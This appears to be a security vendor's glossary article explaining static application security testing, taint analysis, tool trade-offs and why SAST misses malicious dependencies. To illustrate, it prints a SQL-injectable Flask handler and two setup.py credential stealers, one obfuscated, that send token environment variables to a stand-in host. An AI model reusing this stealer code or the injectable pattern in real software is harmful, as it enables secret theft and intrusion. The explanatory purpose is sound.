Back to glossary

Static Application Security Testing (SAST)

SAST analyzes source code, bytecode, or binaries for security flaws without running the program, by matching patterns and tracing untrusted data to sinks.

Also known as static code analysis, source code analysis

Static application security testing (SAST), also called static code analysis, is the analysis of an application's source code, bytecode, or binaries for security flaws without running it. A SAST tool parses code into a syntax tree, then matches patterns or traces untrusted input to dangerous sinks such as SQL queries. SAST finds bugs you wrote, not malicious code you installed.

That last sentence is the one most SAST explainers leave out. SAST is very good at a narrow and important job: catching injection-class mistakes in first-party code before they merge. The two weaknesses at the top of MITRE's 2025 CWE Top 25, cross-site scripting and SQL injection, are textbook SAST targets. But every SAST engine is an approximation of an undecidable problem, so it trades false positives against false negatives. SAST also has no model of the supply chain attack: a dependency whose author is the attacker, whose code runs during install, before the SAST step ever starts. Our position is simple. Run SAST for precision on your own code, and do not count it as supply chain coverage.

What is SAST?

#

SAST is a white-box test: the tool reads the program instead of executing it. It sits alongside dynamic testing and composition analysis under the broader heading of application security testing.

A SAST engine takes one of three inputs. Source code is the most common, because findings can point at a file and line. Bytecode (JVM, .NET IL) is useful when the build is reproducible but the source layout is messy. Compiled binaries are the last resort, used for embedded firmware and third-party components shipped without source.

Because SAST needs no running application, it runs anywhere code exists: in the editor, in a pre-commit hook, on the pull request, and as a CI gate. That placement is its main advantage. A finding on a pull request costs the author minutes; the same bug found in production costs an incident.

How does SAST work?

#

SAST works in three stages: parse the code into a tree, model how data moves through it, and apply rules to that model. The differences between tools come down to how much of the middle stage they actually do.

Stage 1: parse

#

The engine turns text into an abstract syntax tree (AST). Here is a vulnerable Flask handler, and what Python's own parser sees on line 10:

Python
import sqlite3
from flask import Flask, request

app = Flask(__name__)

@app.route("/user")
def get_user():
    name = request.args.get("name")              # source: attacker-controlled
    db = sqlite3.connect("app.db")
    q = f"SELECT * FROM users WHERE name = '{name}'"
    return str(db.execute(q).fetchall())         # sink: SQL execution
Plain text
$ python3 -c "import ast; line = open('app/views.py').read().splitlines()[9].strip(); print(ast.dump(ast.parse(line), indent=1))"
Module(
 body=[
  Assign(
   targets=[
    Name(id='q', ctx=Store())],
   value=JoinedStr(
    values=[
     Constant(value="SELECT * FROM users WHERE name = '"),
     FormattedValue(
      value=Name(id='name', ctx=Load()),
      conversion=-1),
     Constant(value="'")]))])

Rules match against these nodes, not against text. That is why a SAST rule is not fooled by whitespace or comments, and why it needs a parser for every language it claims to support.

Stage 2: model the data flow

#

Pattern matching on single nodes is cheap and shallow. The stronger technique is taint analysis. The engine labels some expressions as sources (request parameters, environment variables, file reads), some calls as sinks (SQL execution, shell commands, HTML output), and some functions as sanitizers (parameter binding, escaping). It then propagates the taint label through assignments, string operations, and function calls. A finding means a tainted value reached a sink without passing a sanitizer.

Vulnerable: tainted value reaches sink

SOURCE
name = request.args.get("name")
taint copied into string
PROPAGATE
q = f"SELECT ... name = '{name}'"
no sanitizer on path
SINK
db.execute(q)
Finding: CWE-89 SQL injection

Safe: parameter binding sanitizes

SOURCE
name = request.args.get("name")
taint passed as a bound parameter
SANITIZER
db.execute("... name = ?", (name,))
query text is a constant
SINK
SQL engine receives data, not syntax
No finding
Figure 1. Taint analysis follows the value, not the string. Parameter binding keeps attacker data out of the query text.

Figure 1 traces both versions of the handler. In the vulnerable version, the source request.args.get("name") taints name; the f-string copies that taint into q; no sanitizer sits on the path; db.execute(q) is a SQL sink, so the engine reports CWE-89. In the safe version, the same tainted name is passed to db.execute("... name = ?", (name,)). Parameter binding is modeled as a sanitizer, the query text stays constant, and the engine reports nothing.

Taint analysis inside one function is intraprocedural. Following values across function and module boundaries is interprocedural, and requires a call graph. Interprocedural analysis is where precision comes from, and also where the compute cost and the hard problems live: dynamic dispatch, reflection, callbacks, and framework magic that wires handlers together at runtime.

Stage 3: apply rules

#

Rules encode the source-sink-sanitizer triples for each weakness class, usually tagged with a CWE ID. A rule for CWE-89 says, in effect, "tainted string reaches execute() without parameter binding." Output is a list of findings with a location, a rule ID, a severity, and often a confidence.

Pattern matching versus taint tracking, measured

#

We ran Bandit 1.9.4, a widely used open source Python SAST tool from the PyCQA project, against five small files. Bandit's SQL injection check (B608) is AST pattern matching: it flags strings that look like SQL being built by formatting. It does not trace where the inserted value came from. The results show what that design buys and what it costs.

Plain text
$ bandit -q -r app t -f custom --msg-template "{relpath}:{line} {test_id} {severity}/{confidence}"
app/views.py:10 B608 MEDIUM/LOW
t/a_const.py:5 B608 MEDIUM/MEDIUM
t/c_indirect.py:4 B608 MEDIUM/LOW
FileWhat the code doesActually injectable?Bandit B608Verdict
app/views.pyf-string with request.args value, passed to execute()YesFlaggedTrue positive
t/a_const.pyf-string with a module constant TABLE = "users"NoFlaggedFalse positive
t/b_param.pyexecute("... WHERE name = ?", (value,))NoNot flaggedTrue negative
t/c_indirect.pyQuery built by concatenation in a helper functionYesFlaggedTrue positive
t/d_join.py" ".join([...,"'%s'" % value])YesNot flaggedFalse negative

The constant case is flagged because the pattern matches and nothing proves the value is safe. The join case slips through because the formatted fragment "'%s'" contains no SQL keyword for the pattern to anchor on. A taint engine would typically resolve both correctly, because it asks where value came from rather than what the string looks like. Pattern rules are fast, easy to write, and easy to evade by accident. Taint rules are slower, harder to write, and still approximate.

Every SAST engine trades false positives for false negatives

#

Every SAST tool produces false positives or false negatives, because exact static analysis is impossible. Rice's theorem (1953) proves that no algorithm can decide any non-trivial behavioral property of arbitrary programs. "Can this input reach this query?" is such a property.

So every engine chooses a direction. An over-approximating analysis assumes a value might be tainted unless it can prove otherwise. It misses little and reports a lot. An under-approximating analysis reports only paths it is confident about. It is quiet and misses real bugs. Tools sit somewhere on that line, and the vendor's choice matters more than the marketing.

The OWASP Benchmark makes the trade-off measurable. Version 1.2 of its Java suite has 2,740 test cases, each a known-vulnerable or known-safe snippet. A tool's score is its true positive rate minus its false positive rate. A tool that flags everything scores 0, and so does one that flags at random.

Noise is not a cosmetic problem. Google's static analysis team, writing in Communications of the ACM in 2018, reported that "Google developers have a strong bias to ignore static analysis." The team responded by defining an effective false positive as any finding a developer did not act on. Checks shown at code review must stay under 10% effective false positives. As of January 2018, their Tricorder platform ran 146 analyzers under that rule. We think that is the right bar. A rule that cries wolf trains developers to ignore every rule.

Some weaknesses resist SAST entirely. Missing authorization (CWE-862) rose to number 4 in the 2025 CWE Top 25, which was built from 39,080 CVE records. A missing check has no sink to match. Business logic flaws, broken access control, and misconfigured infrastructure need other tests.

What is the difference between SAST and DAST?

#

SAST reads code without running it; DAST attacks the running application from outside. Dynamic application security testing sends crafted requests to a deployed app and watches the responses. It needs no source, sees real configuration, and confirms exploitability. It cannot point to a line of code, and it only tests the paths it manages to reach.

Two more approaches fill the gaps. Interactive application security testing instruments the running app and watches tainted data flow at runtime, which gives SAST-style locations with DAST-style confirmation. Software composition analysis ignores your code and inventories your dependencies, matching each version against known vulnerability advisories.

None of the four inspects what a new dependency version does. That is a fifth category: analyzing the published package's code for behavior such as install scripts, network calls, credential access, and obfuscation.

AspectSASTDASTIASTSCAPackage behavior analysis
InspectsYour source, bytecode, or binariesRunning app, from outsideRunning app, from insideDependency manifest and lockfilePublished package contents
RunsEditor, PR, CIStaging or productionTest or QA runsPR, CI, registryBefore install, on PR
FindsInjection, unsafe APIs, hardcoded secrets in your codeExploitable endpoints, misconfigurationConfirmed tainted flowsKnown CVEs in dependency versionsMalicious or risky behavior in dependencies
MissesLogic flaws, runtime config, all dependency behaviorUnreached code, root causeCode not exercised by testsFresh malware, before any advisory existsBugs in your own code
CostTuning and false positivesSlow, needs a deployed targetAgent overhead, language coverageAlert volume without reachabilityAlerts on legitimate install scripts

Verdict: use SAST on every pull request for first-party code, tuned for precision. Add DAST against staging for anything internet-facing. Use IAST only if your test suite already exercises most routes. SAST versus SCA is a false choice. SCA and package behavior analysis cover the code SAST never sees, which in a typical application is most of the code that runs.

Can SAST detect malicious packages?

#

SAST cannot reliably detect malicious packages, because it is built to find mistakes in code you own, and a malicious package is neither a mistake nor code you own. Three assumptions break at once.

Scope. SAST scans your repository. Dependencies usually are not in it: node_modules and virtual environments are usually gitignored and installed fresh in CI.

Timing. Malicious code often executes during installation, before the SAST step runs. Python's pip still executes setup.py when it installs from a source distribution or a local directory. A minimal proof:

Python
import os
from setuptools import setup
with open("/tmp/ran-at-install", "w") as f:
    f.write(",".join(k for k in os.environ if "TOKEN" in k or "KEY" in k))
setup(name="colorama-utils", version="0.1.4")
Plain text
$ env -i PATH=/usr/bin:/bin HOME=/tmp NPM_TOKEN=npm_test GH_TOKEN=ghp_test \
    pip install -q --no-cache-dir ./evil3
$ cat /tmp/ran-at-install
NPM_TOKEN,GH_TOKEN

The code ran with access to every secret in the environment before the package finished installing. npm has the same exposure through install scripts, and npm v12 now ships with install scripts off by default. As of November 2026, pip 26.2 has no equivalent default. Passing --only-binary :all: refuses source builds, at the cost of failing on packages that publish no wheel, and it does nothing about the startup-hook attack below.

Threat model. Taint analysis asks whether attacker-controlled input reaches a dangerous sink. In a malicious package the author is the attacker. The exfiltration URL is a constant, not tainted input. Reading environment variables and calling urlopen is ordinary code.

We tested that last point with two versions of the same credential stealer, each written as a setup.py. The plain version:

Python
import base64, os, json, urllib.request
from setuptools import setup

def _t():
    data = {k: v for k, v in os.environ.items() if "TOKEN" in k or "KEY" in k}
    req = urllib.request.Request("https://collector.example/c",
                                 data=json.dumps(data).encode())
    urllib.request.urlopen(req)

_t()
setup(name="colorama-utils", version="0.1.2")

The second version builds the module and function names from strings at runtime, which Bandit cannot resolve:

Python
import os, json
from setuptools import setup

_m = __import__("".join(map(chr, [117,114,108,108,105,98]))+".request", fromlist=["x"])
_d = {k: v for k, v in os.environ.items() if "TOKEN" in k or "KEY" in k}
getattr(_m, "url" + "open")(getattr(_m, "Req" + "uest")(
    "https://collector.example/c", data=json.dumps(_d).encode()))
setup(name="colorama-utils", version="0.1.3")

Bandit 1.9.4 found one issue in the plain version and nothing in the obfuscated one:

Plain text
$ bandit -q -r evil1 evil2 -f custom --msg-template "{relpath}:{line} {test_id} {severity}/{confidence} {msg}"
evil1/setup.py:8 B310 MEDIUM/HIGH Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.

The one finding warns that urlopen might accept a file:/ URL. It is a correct warning about a different bug. It says nothing about secrets leaving the machine. For context, Bandit reports the same B310 check 6 times, and 1,683 findings in total, in the legitimate setuptools 80.9.0 wheel. Of those, 1,554 are assert warnings (B101); the other 129 include 6 exec calls (B102). On a dependency tree, one more medium finding is noise.

Real attacks are harder still. The LiteLLM 1.107.0 compromise in October 2026 shipped no install script at all. Its wheels placed cook.pth and sitecustomize.py in the environment's library directory, outside the litellm/ package. Python executes those at interpreter startup, so the stealer ran without the application ever importing LiteLLM. Both files embedded Base64-encoded, zlib-compressed source that decoded to collectors of about 61 KB each. A SAST scan of your repository would never encounter these files. A SAST scan of the installed tree would see a decode-and-execute call, a pattern that also appears in legitimate code.

  1. 1. Write and commitgit commit
    SAST in editor or pre-commit
  2. 2. Pull requestPR opened
    SAST on changed codeSCA on manifestPackage behavior analysis on new versions
  3. 3. Dependency installpip install / npm install
    setup.py and install scripts execute
  4. 4. Interpreter startpython ...
    .pth and sitecustomize hooks execute
  5. 5. CI scan stepsast job
    SAST on repository onlysecrets already exposed by steps 3 and 4
  6. 6. Test, staging, productiondeploy
    IAST during testsDAST against running app
Figure 2. Malicious dependency code runs at steps 3 and 4. SAST looks at your repository at steps 1, 2, and 5.

Figure 2 lays out the order of events in a typical pipeline. Step 1, write and commit, is where SAST runs in the editor or a pre-commit hook. Step 2, the pull request, is where SAST scans changed code, SCA checks the manifest, and package behavior analysis can inspect newly added dependency versions. Step 3, dependency install (pip install or npm install), is where setup.py and install scripts execute. Step 4, interpreter start, is where .pth and sitecustomize hooks execute, as in LiteLLM 1.107.0. Step 5, the CI scan job, runs SAST on the repository only, after steps 3 and 4 have already exposed the environment's secrets. Step 6, test, staging, and production, is where IAST and DAST run. Malicious dependency code runs at steps 3 and 4; SAST looks at your repository at steps 1, 2, and 5.

Detecting this requires analyzing the package itself, version by version, before it installs. Socket does this by inspecting the code in each published package and raising alerts on behavior, such as Install scripts, Network access, Environment variable access, and Obfuscated code. For LiteLLM 1.107.0, Socket's AI scanner flagged the malicious wheels seven minutes after publication. Behavior signals have their own false positives: plenty of legitimate packages read environment variables or make network calls. The useful signal is the combination, and especially a new behavior appearing in a patch release of a package that never had it.

SAST techniques now drive dependency triage

#

The most useful idea in SAST, the interprocedural call graph, has moved into SCA. Reachability analysis builds a call graph across your code and your dependencies, then asks whether any path reaches the vulnerable function named in an advisory. A CVE in a function you never call is not urgent, whatever its CVSS score.

Socket's Tier 1 reachability applies per-language static analysis to the application and its dependencies, and its September 2025 launch post reported filtering out about 80% of vulnerabilities as irrelevant. It inherits SAST's trade-offs. Full analysis costs minutes of compute on large projects. Dynamic features such as reflection and runtime property writes can hide call edges. Socket's analysis marks uncertain cases as reachable or unknown rather than unreachable, accepting false positives to avoid missing a real path. That is the right default for triage: severity scores rank how bad a bug could be, and reachability tells you whether you can be hit by it.

Security scanners are part of your supply chain

#

Any scanner in CI, SAST included, reads your source code, often with a repository token in its environment. That makes the scanner a high-value dependency in its own right. Attackers have noticed. In March 2026, the Trivy GitHub Actions tag compromise force-pushed 75 of the 76 version tags of aquasecurity/trivy-action, so pipelines running a routine vulnerability scan executed a secret stealer. The following month, the Checkmarx KICS compromise put trojanized images of that infrastructure-as-code static analysis scanner on Docker Hub. Both have been linked to TeamPCP's campaign against security tools.

The controls are the same ones that apply to any GitHub Actions dependency. Pin the scanner action to a full commit SHA or a workflow lockfile, not a tag. Give the scan job a read-only token and no publishing credentials. Run it in a job separate from release. None of this is complete: a pinned SHA proves the code did not change, not that it was safe when you pinned it. A cooldown before adopting new scanner releases buys time for someone else to notice.

Where SAST earns its place

#

SAST is worth running, and worth running well. Keep the rule set small and precise enough that developers act on what it reports. Gate pull requests on high-confidence taint findings for SQL injection, command injection, path traversal, and deserialization, and send the rest to a backlog someone actually reads. Measure effective false positives the way Google does, by whether people fix what they see.

Then be honest about the boundary. SAST answers "did we write a vulnerable path?" In a typical application, much of the code that executes, often most of it, was written by someone else and fetched by a package manager minutes before the build. The open problem is that the line between our code and their code no longer maps to a directory in the repository. Analysis has to follow the code to wherever it runs, including the moment pip install hands it your environment.